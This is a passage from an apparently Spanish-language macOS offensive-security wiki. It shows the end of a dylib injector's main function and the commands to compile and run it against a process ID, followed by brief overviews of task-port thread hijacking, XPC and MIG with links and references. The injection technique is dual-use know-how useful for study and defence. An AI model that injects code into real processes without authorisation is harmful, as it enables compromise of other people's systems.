if (argc < 3)
{
    fprintf(stderr, "Uso: %s _pid_ _accion_\n", argv[0]);
    fprintf(stderr, "   _accion_: ruta a una dylib en el disco\n");
    exit(0);
}

pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;

int rc = stat(action, &buf);
if (rc == 0) inject(pid, action);
else
{
    fprintf(stderr, "Dylib no encontrada\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Secuestro de hilo a través del puerto de tarea <a href="#paso-1-secuestro-de-hilo" id="paso-1-secuestro-de-hilo"></a>

En esta técnica se secuestra un hilo del proceso:

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
{% endcontent-ref %}

## XPC

### Información básica

XPC, que significa Comunicación Interproceso XNU (el kernel utilizado por macOS), es un marco para la **comunicación entre procesos** en macOS e iOS. XPC proporciona un mecanismo para realizar llamadas de método **seguras y asíncronas entre diferentes procesos** en el sistema. Es parte del paradigma de seguridad de Apple, que permite la **creación de aplicaciones con privilegios separados** donde cada **componente** se ejecuta con **solo los permisos necesarios** para realizar su trabajo, limitando así el daño potencial de un proceso comprometido.

Para obtener más información sobre cómo funciona esta **comunicación** y cómo **puede ser vulnerable**, consulta:

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/" %}
[macos-xpc](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/)
{% endcontent-ref %}

## MIG - Generador de interfaz Mach

MIG fue creado para **simplificar el proceso de creación de código de IPC de Mach**. Básicamente, **genera el código necesario** para que el servidor y el cliente se comuniquen con una definición dada. Aunque el código generado puede ser feo, un desarrollador solo necesitará importarlo y su código será mucho más simple que antes.

Para obtener más información, consulta:

{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md" %}
[macos-mig-mach-interface-generator.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
{% endcontent-ref %}

## Referencias

* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)

<details>

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